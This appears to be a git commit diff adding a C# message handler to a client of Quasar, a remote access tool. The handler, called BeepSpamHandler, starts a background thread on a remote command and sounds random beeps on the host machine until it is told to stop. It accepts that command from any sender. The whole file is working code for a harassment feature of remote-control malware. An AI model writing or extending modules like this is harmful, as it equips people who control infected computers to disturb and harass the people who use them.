initial commit
This commit is contained in:
@@ -0,0 +1,48 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class BeepSpamHandler : IMessageProcessor
|
||||
{
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
private readonly Random _rng = new Random();
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartBeepSpam || message is DoStopBeepSpam;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoStartBeepSpam) Start();
|
||||
else if (message is DoStopBeepSpam) Stop();
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
_thread = new Thread(BeepLoop) { IsBackground = true };
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private void Stop()
|
||||
{
|
||||
_running = false;
|
||||
}
|
||||
|
||||
private void BeepLoop()
|
||||
{
|
||||
while (_running)
|
||||
{
|
||||
int freq = _rng.Next(200, 3000);
|
||||
int dur = _rng.Next(30, 220);
|
||||
try { Console.Beep(freq, dur); } catch { }
|
||||
if (!_running) break;
|
||||
Thread.Sleep(_rng.Next(0, 150));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user